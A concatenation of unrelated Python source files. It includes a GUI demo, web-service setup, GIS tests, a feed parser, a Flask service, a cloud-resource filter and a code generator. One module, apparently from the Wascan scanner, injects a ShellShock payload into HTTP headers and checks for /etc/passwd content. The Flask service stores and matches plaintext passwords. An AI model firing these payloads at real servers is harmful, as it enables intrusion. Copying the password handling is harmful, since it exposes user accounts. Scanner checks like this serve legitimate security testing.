+ # Put the Enthought library on the Python path.
21
+ sys.path.append(os.path.abspath(r'..\..\..'))
22
+
23
+ # Major package imports.
24
+ import wx
25
+ import wx.html
26
+ import wx.lib.wxpTag
27
+
28
+ # Enthought library imports.
29
+ from enthought.pyface.api import ApplicationWindow, GUI, ImageResource, ImageWidget
30
+ from enthought.pyface.action.api import Action, MenuManager, MenuBarManager
31
+
32
+
33
+ # HTML templates.
34
+ HTML = """
35
+
36
+ <html>
37
+ <body>
38
+ %s
39
+ </body>
40
+ </html>
41
+
42
+ """
43
+
44
+ PART = """<wxp module="wx" class="Panel"><param name="id" value="%s"><param name="size" value="(50, 50)"></wxp>"""
45
+
46
+ class MainWindow(ApplicationWindow):
47
+ """ The main application window. """
48
+
49
+ ###########################################################################
50
+ # 'object' interface.
51
+ ###########################################################################
52
+
53
+ def __init__(self, **traits):
54
+ """ Creates a new application window. """
55
+
56
+ # Base class constructor.
57
+ super(MainWindow, self).__init__(**traits)
58
+
59
+ # Add a menu bar.
60
+ self.menu_bar_manager = MenuBarManager(
61
+ MenuManager(
62
+ Action(name='E&xit', on_perform=self.close),
63
+ name = '&File',
64
+ )
65
+ )
66
+
67
+ return
68
+
69
+ ###########################################################################
70
+ # Protected 'Window' interface.
71
+ ###########################################################################
72
+
73
+ def _create_contents(self, parent):
74
+ """ Creates the window contents.
75
+
76
+ This method is intended to be overridden if necessary. By default we
77
+ just create an empty (and blue!) panel.
78
+
79
+ """
80
+
81
+ panel = wx.Panel(parent, -1, style=wx.CLIP_CHILDREN)
82
+ sizer = wx.BoxSizer(wx.VERTICAL)
83
+ panel.SetSizer(sizer)
84
+ panel.SetAutoLayout(True)
85
+
86
+ N = 100
87
+ wxid = wx.NewId()
88
+
89
+ # Create the HTML.
90
+ parts = []
91
+ for i in range(N):
92
+ parts.append(PART % str(wxid+i))
93
+
94
+ html = HTML % "".join(parts)
95
+
96
+ # Create the HTML window.
97
+ html_window = wx.html.HtmlWindow(panel, -1, style=wx.CLIP_CHILDREN)
98
+ html_window.SetPage(html)
99
+
100
+ # Initialize all embedded wx controls.
101
+ for i in range(N):
102
+ self._initialize_window(html_window, wxid+i)
103
+
104
+ sizer.Add(html_window, 1, wx.EXPAND)
105
+
106
+ # Resize the panel to fit the sizer's minimum size.
107
+ sizer.Fit(panel)
108
+
109
+ return panel
110
+
111
+ ###########################################################################
112
+ # Private interface.
113
+ ###########################################################################
114
+
115
+ def _initialize_window(self, parent, wxid):
116
+ """ Initialize the window with the specified Id. """
117
+
118
+ window = parent.FindWindowById(wxid)
119
+ sizer = wx.BoxSizer(wx.VERTICAL)
120
+ window.SetSizer(sizer)
121
+ window.SetAutoLayout(True)
122
+
123
+ window.SetBackgroundColour('white')
124
+ window.SetWindowStyleFlag(wx.CLIP_CHILDREN)
125
+ window.Refresh()
126
+ image = ImageResource('closed_folder_24x24')
127
+ bitmap = image.create_image().ConvertToBitmap()
128
+
129
+ image_widget = ImageWidget(window, bitmap=bitmap)
130
+ image_widget.control.SetBackgroundColour('white')
131
+ sizer.Add(image_widget.control, 0, wx.EXPAND)
132
+
133
+ text = wx.StaticText(window, -1, "Blah", style=wx.ALIGN_CENTRE)
134
+ sizer.Add(text, 0, wx.EXPAND)
135
+
136
+ # Resize the window to match the sizer's minimum size.
137
+ sizer.Fit(window)
138
+
139
+ return
140
+
141
+
142
+ # Application entry point.
143
+ if __name__ == '__main__':
144
+ # Create the GUI (this does NOT start the GUI event loop).
145
+ gui = GUI()
146
+
147
+ # Create and open the main window.
148
+ window = MainWindow()
149
+ window.open()
150
+
151
+ # Start the GUI event loop!
152
+ gui.start_event_loop()
153
+
154
+ ##### EOF #####################################################################
pool/shard008/Python/0078906_app.py ADDED
@@ -0,0 +1,153 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- encoding: utf-8 -*-
2
+ #
3
+ # Copyright © 2014-2015 eNovance
4
+ #
5
+ # Licensed under the Apache License, Version 2.0 (the "License"); you may
6
+ # not use this file except in compliance with the License. You may obtain
7
+ # a copy of the License at
8
+ #
9
+ # http://www.apache.org/licenses/LICENSE-2.0
10
+ #
11
+ # Unless required by applicable law or agreed to in writing, software
12
+ # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
13
+ # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
14
+ # License for the specific language governing permissions and limitations
15
+ # under the License.
16
+ import os
17
+
18
+ import keystonemiddleware.auth_token
19
+ from oslo_log import log
20
+ from oslo_policy import policy
21
+ from oslo_utils import importutils
22
+ import pecan
23
+ from pecan import templating
24
+ import webob.exc
25
+ from werkzeug import serving
26
+ from werkzeug import wsgi
27
+
28
+ from gnocchi import exceptions
29
+ from gnocchi import indexer
30
+ from gnocchi import json
31
+ from gnocchi import service
32
+ from gnocchi import storage
33
+
34
+
35
+ LOG = log.getLogger(__name__)
36
+
37
+
38
+ class GnocchiHook(pecan.hooks.PecanHook):
39
+
40
+ def __init__(self, storage, indexer, conf):
41
+ self.storage = storage
42
+ self.indexer = indexer
43
+ self.conf = conf
44
+ self.policy_enforcer = policy.Enforcer(conf)
45
+
46
+ def on_route(self, state):
47
+ state.request.storage = self.storage
48
+ state.request.indexer = self.indexer
49
+ state.request.conf = self.conf
50
+ state.request.policy_enforcer = self.policy_enforcer
51
+
52
+
53
+ class OsloJSONRenderer(object):
54
+ @staticmethod
55
+ def __init__(*args, **kwargs):
56
+ pass
57
+
58
+ @staticmethod
59
+ def render(template_path, namespace):
60
+ return json.dumps(namespace)
61
+
62
+
63
+ class GnocchiJinjaRenderer(templating.JinjaRenderer):
64
+ def __init__(self, *args, **kwargs):
65
+ super(GnocchiJinjaRenderer, self).__init__(*args, **kwargs)
66
+ self.env.filters['tojson'] = json.dumps
67
+
68
+ def render(self, template_path, namespace):
69
+ namespace = dict(data=namespace)
70
+ return super(GnocchiJinjaRenderer, self).render(
71
+ template_path, namespace)
72
+
73
+
74
+ PECAN_CONFIG = {
75
+ 'app': {
76
+ 'root': 'gnocchi.rest.RootController',
77
+ 'modules': ['gnocchi.rest'],
78
+ },
79
+ }
80
+
81
+
82
+ class NotImplementedMiddleware(object):
83
+ def __init__(self, app):
84
+ self.app = app
85
+
86
+ def __call__(self, environ, start_response):
87
+ try:
88
+ return self.app(environ, start_response)
89
+ except exceptions.NotImplementedError:
90
+ raise webob.exc.HTTPNotImplemented(
91
+ "Sorry, this Gnocchi server does "
92
+ "not implement this feature 😞")
93
+
94
+
95
+ def setup_app(config=PECAN_CONFIG, cfg=None):
96
+ if cfg is None:
97
+ # NOTE(jd) That sucks but pecan forces us to use kwargs :(
98
+ raise RuntimeError("Config is actually mandatory")
99
+ s = config.get('storage')
100
+ if not s:
101
+ s = storage.get_driver(cfg)
102
+ i = config.get('indexer')
103
+ if not i:
104
+ i = indexer.get_driver(cfg)
105
+ i.connect()
106
+
107
+ root_dir = os.path.dirname(os.path.abspath(__file__))
108
+
109
+ # NOTE(sileht): pecan debug won't work in multi-process environment
110
+ pecan_debug = cfg.api.pecan_debug
111
+ if cfg.api.workers != 1 and pecan_debug:
112
+ pecan_debug = False
113
+ LOG.warning('pecan_debug cannot be enabled, if workers is > 1, '
114
+ 'the value is overrided with False')
115
+
116
+ app = pecan.make_app(
117
+ config['app']['root'],
118
+ debug=pecan_debug,
119
+ hooks=(GnocchiHook(s, i, cfg),),
120
+ guess_content_type_from_ext=False,
121
+ custom_renderers={'json': OsloJSONRenderer,
122
+ 'gnocchi_jinja': GnocchiJinjaRenderer},
123
+ default_renderer='gnocchi_jinja',
124
+ template_path=root_dir + "/templates",
125
+ )
126
+
127
+ app = wsgi.SharedDataMiddleware(
128
+ app,
129
+ {"/static": root_dir + "/static"},
130
+ cache=not cfg.api.pecan_debug)
131
+
132
+ if config.get('not_implemented_middleware', True):
133
+ app = webob.exc.HTTPExceptionMiddleware(NotImplementedMiddleware(app))
134
+
135
+ for middleware in reversed(cfg.api.middlewares):
136
+ if not middleware:
137
+ continue
138
+ klass = importutils.import_class(middleware)
139
+ # FIXME(jd) Find a way to remove that special handling…
140
+ if klass == keystonemiddleware.auth_token.AuthProtocol:
141
+ middleware_config = dict(cfg.keystone_authtoken)
142
+ else:
143
+ middleware_config = dict(cfg)
144
+ app = klass(app, middleware_config)
145
+
146
+ return app
147
+
148
+
149
+ def build_server():
150
+ conf = service.prepare_service()
151
+ serving.run_simple(conf.api.host, conf.api.port,
152
+ setup_app(cfg=conf),
153
+ processes=conf.api.workers)
pool/shard008/Python/0078907_test_lib_gis.py ADDED
@@ -0,0 +1,92 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import math
2
+ from synapse.tests.common import *
3
+
4
+ import synapse.lib.gis as s_gis
5
+
6
+ # earth mean radius in mm
7
+ r = 6371008800
8
+
9
+ ratios = {
10
+ 'cm': 10.0,
11
+ 'm': 1000.0,
12
+ 'km': 1000000.0,
13
+ }
14
+
15
+ km = 1000000.0 # using mm as base units
16
+ gchq = (51.8994, -2.0783)
17
+
18
+ class GisTest(SynTest):
19
+
20
+ def test_lib_gis_haversine(self):
21
+ px = (36.12, -86.67)
22
+ py = (33.94, -118.40)
23
+ self.eqish(s_gis.haversine(px, py), 2886448429.7648544)
24
+
25
+ # Test haversinve value from rosetta code
26
+ r = s_gis.haversine((36.12, -86.67), (33.94, -118.40), 6372.8)
27
+ e = 2887.2599506071106
28
+ self.eqish(r, e)
29
+
30
+ # Test against 1/4th of a unit sphere
31
+ r = s_gis.haversine((45, 45), (-45, 45), 1.0)
32
+ e = math.pi / 2
33
+ # We are typically within the machine-epsilon range for this test
34
+ self.assertAlmostEqual(r, e)
35
+
36
+ # Test against the haversine package
37
+ lyon = (45.7597, 4.8422)
38
+ paris = (48.8567, 2.3508)
39
+ r = s_gis.haversine(lyon, paris, r=6371)
40
+ e = 392.21671780659625
41
+ self.assertAlmostEqual(r, e)
42
+
43
+ def test_lib_gis_latlong(self):
44
+ self.assertRaises(ValueError, s_gis.latlong, 'hehe')
45
+ self.assertRaises(ValueError, s_gis.latlong, 'hehe,hoho')
46
+
47
+ self.eq(s_gis.latlong(' 0,0 '), (0.0, 0.0))
48
+ self.eq(s_gis.latlong('-0,0 '), (0.0, 0.0))
49
+ self.eq(s_gis.latlong('50,100 '), (50.0, 100.0))
50
+ self.eq(s_gis.latlong('-50,100 '), (-50.0, 100.0))
51
+ self.eq(s_gis.latlong('-50,-100 '), (-50.0, -100.0))
52
+ self.eq(s_gis.latlong('50,-100 '), (50.0, -100.0))
53
+
54
+ self.eq(s_gis.latlong(' 0.12345678901234567890,-0.12345678901234567890 '), (0.12345678901234568, -0.12345678901234568)) # Note precision
55
+
56
+ self.eq(s_gis.latlong('123.456,-987.654 '), (123.456, -987.654)) # Note Invalid coords
57
+
58
+ def test_lib_gis_near(self):
59
+ point = (0.0, 0.0)
60
+ dist = 0
61
+ points = []
62
+ self.false(s_gis.near(point, dist, points)) # no points
63
+
64
+ point = (0.0, 0.0)
65
+ dist = 0
66
+ points = [(0.0, 0.0)]
67
+ self.true(s_gis.near(point, dist, points)) # same point
68
+
69
+ point = (0.0, 0.0)
70
+ dist = 0
71
+ points = [(50.0, 50.0), (0.0, 0.0)]
72
+ self.true(s_gis.near(point, dist, points)) # far point and same point
73
+
74
+ point = (45.7597, 4.8422) # lyon
75
+ dist = 400000000 # actual haversine distance between lyon/paris is ~392217259mm
76
+ points = [(0.0, 0.0), (48.8567, 2.3508)] # 0,0 and paris
77
+ self.true(s_gis.near(point, dist, points))
78
+
79
+ point = (45.7597, 4.8422) # lyon
80
+ dist = 391000000 # actual haversine distance between lyon/paris is ~392217259mm
81
+ points = [(0.0, 0.0), (48.8567, 2.3508)] # 0,0 and paris
82
+ self.false(s_gis.near(point, dist, points))
83
+
84
+ def test_lib_gis_dms2dec(self):
85
+ self.eqish(s_gis.dms2dec(45, 46, 52), 45.78111111111111)
86
+
87
+ def test_lib_gis_bbox(self):
88
+ lbox = s_gis.bbox(gchq[0], gchq[1], 1 * km)
89
+ self.eq(lbox, (51.890406796362754,
90
+ 51.908393203637246,
91
+ -2.0928746526154747,
92
+ -2.0637253473845254))
pool/shard008/Python/0078917_feed_parse_extractWhiteCherryblBlogspotCom.py ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ def extractWhiteCherryblBlogspotCom(item):
3
+ '''
4
+ Parser for 'white-cherrybl.blogspot.com'
5
+ '''
6
+
7
+ vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
8
+ if not (chp or vol) or "preview" in item['title'].lower():
9
+ return None
10
+
11
+ tagmap = [
12
+ ('PRC', 'PRC', 'translated'),
13
+ ('Loiterous', 'Loiterous', 'oel'),
14
+ ]
15
+
16
+ for tagname, name, tl_type in tagmap:
17
+ if tagname in item['tags']:
18
+ return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
19
+
20
+
21
+ return False
22
+
pool/shard008/Python/0078929_bashi.py ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # -*- coding:utf-8 -*-
3
+ #
4
+ # @name: Wascan - Web Application Scanner
5
+ # @repo: https://github.com/m4ll0k/Wascan
6
+ # @author: Momo Outaadi (M4ll0k)
7
+ # @license: See the file 'LICENSE.txt'
8
+
9
+ from re import search,I
10
+ from lib.utils.printer import *
11
+ from lib.request.request import *
12
+ from lib.utils.payload import bash
13
+
14
+ class bashi(Request):
15
+ """Bash Command Injection (ShellShock)"""
16
+ get = "GET"
17
+ def __init__(self,kwargs,url,data):
18
+ Request.__init__(self,kwargs)
19
+ self.url = url
20
+ self.data = data
21
+
22
+ def run(self):
23
+ """Run"""
24
+ info('Checking Bash Command Injection...')
25
+ for payload in bash():
26
+ # user-agent and referer header add the payload
27
+ user_agent = {'User-Agent':'() { :;}; echo; echo; %s;'%payload,
28
+ 'Referer':'() { :;}; echo; echo; %s;'%payload
29
+ }
30
+ # send request
31
+ req = self.Send(url=self.url,method=self.get,headers=user_agent)
32
+ # split payload
33
+ if '\"' in payload: payload = payload.split('"')[1]
34
+ # search root:/bin/ba[sh] or payload in content
35
+ if search(r"root:/bin/[bash|sh]|"+payload,req.content):
36
+ plus("A potential \"Bash Command Injection\" was found via HTTP User-Agent header (ShellShock)")
37
+ more("URL: {}".format(self.url))
38
+ more("PAYLOAD: {}".format('() { :;}; echo; echo; %s;'%(payload)))
39
+ break
pool/shard008/Python/0078936_service.py ADDED
@@ -0,0 +1,159 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from src import model
2
+ from src.model import User, Pin, Category, Velov
3
+ from flask import Flask, flash, render_template, request, session, jsonify
4
+ from flask.ext.sqlalchemy import SQLAlchemy
5
+ from sqlalchemy import create_engine
6
+ from sqlalchemy.orm import sessionmaker
7
+
8
+ def connectToDatabase():
9
+ """
10
+ Connect to our SQLite database and return a Session object
11
+ """
12
+ session = model.db
13
+ return session
14
+
15
+ db = connectToDatabase()
16
+
17
+ def getAllPin(idCategory):
18
+ """
19
+ request for all pins
20
+ """
21
+ if (idCategory):
22
+ cat = Category.query.get(idCategory)
23
+ if cat:
24
+ items = cat.pins
25
+ else:
26
+ items = []
27
+ else:
28
+ items = Pin.query.all()
29
+
30
+ if items:
31
+ print "Pins non vides"
32
+ return jsonify(pins=[item.serialize() for item in items])
33
+
34
+ print "pins vide"
35
+ return jsonify(error="No pins")
36
+
37
+ def getPinById(idPin):
38
+ print idPin
39
+ if idPin:
40
+ item = Pin.query.get(int(idPin))
41
+
42
+ print item.id
43
+
44
+ if item:
45
+ return jsonify(item.serialize())
46
+
47
+ return jsonify(error="No pin")
48
+
49
+ return jsonify(error = "Invalid parameters")
50
+
51
+ def getAllUser():
52
+ print "getAllUser"
53
+
54
+ items = User.query.all()
55
+
56
+ print "query faite"
57
+
58
+ if items :
59
+ print "users non vide"
60
+ return jsonify(users=[item.serialize() for item in items])
61
+
62
+ print "user vide"
63
+ return jsonify(error="No user")
64
+
65
+ def getAllCategory(pin):
66
+ print "displayCategories"
67
+ #id de la pin
68
+
69
+ if pin:
70
+ pi = Pin.query.get(pin)
71
+ items = pi.categories
72
+ else:
73
+ items = Category.query.all()
74
+
75
+ if items :
76
+ print "categories non vide"
77
+ return jsonify(categories=[item.serialize() for item in items])
78
+
79
+ print "Category vide"
80
+ return jsonify(error="No category")
81
+
82
+ def getCategoryById(category):
83
+ print "displayCategory"
84
+ if category:
85
+ item = Category.query.filter_by(nom=category).first()
86
+
87
+ print item.id
88
+
89
+ if item:
90
+ return jsonify(item.serialize())
91
+
92
+ return jsonify(error="No category")
93
+
94
+ return jsonify(error = "Invalid parameters")
95
+
96
+
97
+
98
+
99
+
100
+
101
+
102
+ def authentification(form):
103
+ user = User.query.filter_by(pseudo=form['pseudo'], passw=form['passw']).first()
104
+ if user:
105
+ return jsonify(id=user.id, pseudo=user.pseudo)
106
+ return jsonify(error="authentification error")
107
+
108
+ def addPin(form):
109
+ print "addPin"
110
+ """if (form['title'] and form['user'] and form['lng'] and form['lat']):
111
+ exist = Pin.query.filter_by(title=form['title'], lng=form['lng'], lat=form['lat']).first()
112
+
113
+ if exist:
114
+ return jsonify(error="already exists")
115
+
116
+ user = User.query.get(form['user'])
117
+
118
+ if not(user):
119
+ return jsonify(error="user doesn't exist")
120
+
121
+ #FAUX pin = Pin(form['title'], float(form['lng']), float(form['lat']), form['user'], form['category'], form['description'])
122
+ """
123
+ db.session.add(form)
124
+ db.session.commit()
125
+
126
+ # return jsonify(pin = pin.serialize())
127
+
128
+ #return jsonify(error="invalid parameters")
129
+
130
+ #updates or creates a velov
131
+ def updateVelovByIdVelov(current):
132
+ if current:
133
+ item = Velov.query.filter_by(idVelov=current.idVelov).first()
134
+
135
+ if item:
136
+ item.velo = current.velo
137
+ item.libre = current.libre
138
+ db.session.commit()
139
+ else:
140
+ addPin(current)
141
+
142
+
143
+ def addUser(form):
144
+ if (form['pseudo'] and form['passw']):
145
+
146
+ exist = User.query.filter_by(pseudo=form['pseudo']).first()
147
+
148
+ if exist:
149
+
150
+ return jsonify(error="already exist")
151
+
152
+ user = User(form['pseudo'], form['passw'])
153
+
154
+ db.session.add(user)
155
+ db.session.commit()
156
+
157
+ return jsonify(id=user.id, pseudo=user.pseudo)
158
+
159
+ return jsonify(error="invalid parameters")
pool/shard008/Python/0078937_glacier.py ADDED
@@ -0,0 +1,108 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2016 Capital One Services, LLC
2
+ #
3
+ # Licensed under the Apache License, Version 2.0 (the "License");
4
+ # you may not use this file except in compliance with the License.
5
+ # You may obtain a copy of the License at
6
+ #
7
+ # http://www.apache.org/licenses/LICENSE-2.0
8
+ #
9
+ # Unless required by applicable law or agreed to in writing, software
10
+ # distributed under the License is distributed on an "AS IS" BASIS,
11
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12
+ # See the License for the specific language governing permissions and
13
+ # limitations under the License.
14
+ from __future__ import absolute_import, division, print_function, unicode_literals
15
+
16
+ from botocore.exceptions import ClientError
17
+
18
+ from c7n.actions import ActionRegistry, AutoTagUser
19
+ from c7n.filters import FilterRegistry, CrossAccountAccessFilter
20
+ from c7n.query import QueryResourceManager
21
+ from c7n.manager import resources
22
+ from c7n.tags import (
23
+ TagActionFilter, UniversalTag, UniversalUntag, UniversalTagDelayedAction)
24
+ from c7n.utils import get_retry, local_session
25
+
26
+
27
+ @resources.register('glacier')
28
+ class Glacier(QueryResourceManager):
29
+
30
+ filter_registry = FilterRegistry('glacier.filters')
31
+ filter_registry.register('marked-for-op', TagActionFilter)
32
+
33
+ action_registry = ActionRegistry('glacier.actions')
34
+ action_registry.register('auto-tag-user', AutoTagUser)
35
+ action_registry.register('mark', UniversalTag)
36
+ action_registry.register('tag', UniversalTag)
37
+ action_registry.register('mark-for-op', UniversalTagDelayedAction)
38
+ action_registry.register('remove-tag', UniversalUntag)
39
+ action_registry.register('unmark', UniversalUntag)
40
+ action_registry.register('untag', UniversalUntag)
41
+
42
+ permissions = ('glacier:ListTagsForVault',)
43
+ retry = staticmethod(get_retry(('Throttled',)))
44
+
45
+ class resource_type(object):
46
+ service = 'glacier'
47
+ enum_spec = ('list_vaults', 'VaultList', None)
48
+ name = "VaultName"
49
+ id = "VaultARN"
50
+ dimension = None
51
+
52
+ def augment(self, resources):
53
+ def process_tags(resource):
54
+ client = local_session(self.session_factory).client('glacier')
55
+ tag_dict = self.retry(
56
+ client.list_tags_for_vault,
57
+ vaultName=resource[self.get_model().name])['Tags']
58
+ tag_list = []
59
+ for k, v in tag_dict.items():
60
+ tag_list.append({'Key': k, 'Value': v})
61
+ resource['Tags'] = tag_list
62
+ return resource
63
+
64
+ with self.executor_factory(max_workers=2) as w:
65
+ return list(w.map(process_tags, resources))
66
+
67
+
68
+ @Glacier.filter_registry.register('cross-account')
69
+ class GlacierCrossAccountAccessFilter(CrossAccountAccessFilter):
70
+ """Filter to return all glacier vaults with cross account access permissions
71
+
72
+ The whitelist parameter will omit the accounts that match from the return
73
+
74
+ :example:
75
+
76
+ .. code-block:
77
+
78
+ policies:
79
+ - name: glacier-cross-account
80
+ resource: glacier
81
+ filters:
82
+ - type: cross-account
83
+ whitelist:
84
+ - permitted-account-01
85
+ - permitted-account-02
86
+ """
87
+ permissions = ('glacier:GetVaultAccessPolicy',)
88
+
89
+ def process(self, resources, event=None):
90
+ def _augment(r):
91
+ client = local_session(
92
+ self.manager.session_factory).client('glacier')
93
+ try:
94
+ r['Policy'] = client.get_vault_access_policy(
95
+ vaultName=r['VaultName'])['policy']['Policy']
96
+ return r
97
+ except ClientError as e:
98
+ if e.response['Error']['Code'] == 'AccessDeniedException':
99
+ self.log.warning(
100
+ "Access denied getting policy glacier:%s",
101
+ r['FunctionName'])
102
+
103
+ self.log.debug("fetching policy for %d glacier" % len(resources))
104
+ with self.executor_factory(max_workers=3) as w:
105
+ resources = filter(None, w.map(_augment, resources))
106
+
107
+ return super(GlacierCrossAccountAccessFilter, self).process(
108
+ resources, event)
pool/shard008/Python/0078938_newsource.py ADDED
@@ -0,0 +1,279 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python2
2
+ # -*- coding: utf-8 -*-
3
+
4
+ import sys
5
+ import os
6
+ import string
7
+
8
+ config = {
9
+ "project": "Aesalon",
10
+ "desc": "a tool to visualize program behaviour in real time",
11
+ "authors": "Aesalon development team",
12
+ "license": "GNU GPLv3",
13
+ "devyears": "2009-2011",
14
+ "website": "http://aesalon.berlios.de/",
15
+ "srcBase": "src",
16
+ "incBase": "include",
17
+ "guardBase": "Aesalon",
18
+ "fileHeader":
19
+ """/** %(project)s, %(desc)s.
20
+ Copyright (C) %(devyears)s, %(authors)s.
21
+
22
+ %(project)s is distributed under the terms of the %(license)s. See
23
+ the included file LICENSE for more information.
24
+
25
+ @file %(path)s
26
+ */
27
+ """,
28
+ "cHeader":
29
+ """
30
+ #ifndef %(includeGuard)s
31
+ #define %(includeGuard)s
32
+
33
+
34
+
35
+ #endif
36
+ """,
37
+
38
+ "cSource":
39
+ """
40
+ #include "%(incPath)s"
41
+
42
+
43
+ """,
44
+ "cppHeader":
45
+ """
46
+ #ifndef %(includeGuard)s
47
+ #define %(includeGuard)s
48
+
49
+ """,
50
+ "openNamespace":
51
+ """
52
+ namespace %(namespace)s {""",
53
+
54
+ "cppClassDef":
55
+ """
56
+
57
+ class %(className)s {
58
+ public:
59
+ %(className)s();
60
+ ~%(className)s();
61
+ };
62
+ """,
63
+ "closeNamespace":
64
+ """
65
+ } // namespace %(namespace)s""",
66
+ "cppHeaderEnd":
67
+ """
68
+
69
+ #endif
70
+ """
71
+ }
72
+
73
+ class Generator:
74
+ def __init__(self):
75
+ self.__name = "Unknown name"
76
+ pass
77
+
78
+ def name(self):
79
+ return self.__name
80
+ def setName(self, name):
81
+ self.__name = name
82
+
83
+ def generate(self, name):
84
+ pass
85
+
86
+ class CHeader(Generator):
87
+ def __init__(self):
88
+ Generator.__init__(self)
89
+ self.setName("cheader")
90
+
91
+ def generate(self, name):
92
+ path = name
93
+ path += ".h"
94
+
95
+ fp = file(os.path.join(config["incBase"], path), "w")
96
+
97
+ includeGuard = config["guardBase"] + " " + name.replace("/", " ")
98
+ while True:
99
+ index = includeGuard.find(" ")
100
+ if index == -1: break
101
+
102
+ includeGuard = includeGuard[:index] + includeGuard[index+1].upper() + includeGuard[index+2:]
103
+
104
+ includeGuard += "_H"
105
+
106
+ fileConfig = config
107
+ fileConfig["path"] = path
108
+ fileConfig["includeGuard"] = includeGuard
109
+
110
+ fp.write(config["fileHeader"] % fileConfig)
111
+ fp.write(config["cHeader"] % fileConfig)
112
+
113
+ fp.close()
114
+
115
+ return path
116
+
117
+ class CSource(Generator):
118
+ def __init__(self):
119
+ Generator.__init__(self)
120
+ self.setName("csource")
121
+
122
+ def generate(self, name, incPath=""):
123
+ path = os.path.join(config["srcBase"], name)
124
+ path += ".c"
125
+
126
+ fp = file(path, "w")
127
+
128
+ fileConfig = config
129
+ fileConfig["path"] = path
130
+ fileConfig["incPath"] = incPath
131
+
132
+ fp.write(fileConfig["fileHeader"] % fileConfig)
133
+ if incPath != "":
134
+ fp.write(fileConfig["cSource"] % fileConfig)
135
+
136
+ fp.write("\n")
137
+
138
+ fp.close()
139
+
140
+ class CGenerator(Generator):
141
+ def __init__(self):
142
+ Generator.__init__(self)
143
+ self.setName("c")
144
+
145
+ def generate(self, name):
146
+ CHeader().generate(name)
147
+ CSource().generate(name, True)
148
+
149
+
150
+
151
+ class CppHeader(Generator):
152
+ def __init__(self):
153
+ Generator.__init__(self)
154
+ self.setName("cppheader")
155
+
156
+ def generate(self, name):
157
+ path = name
158
+ path = path.replace("::", "/")
159
+ last = path.rfind("/")
160
+ if last != -1:
161
+ path = path[:last].lower() + path[last:]
162
+ path += ".h"
163
+ filepath = os.path.join(config["incBase"], path)
164
+
165
+ fp = file(filepath, "w")
166
+
167
+ includeGuard = config["guardBase"] + " " + name.replace("/", "_")
168
+ includeGuard = includeGuard.replace("::", "_")
169
+ while True:
170
+ index = includeGuard.find(" ")
171
+ if index == -1: break
172
+
173
+ includeGuard = includeGuard[:index] + includeGuard[index+1].upper() + includeGuard[index+2:]
174
+
175
+ includeGuard += "_H"
176
+
177
+ fileConfig = config
178
+ fileConfig["path"] = filepath
179
+ fileConfig["includeGuard"] = includeGuard
180
+
181
+ fp.write(config["fileHeader"] % fileConfig)
182
+ fp.write(config["cppHeader"] % fileConfig)
183
+
184
+ namespaceList = name.split("::")
185
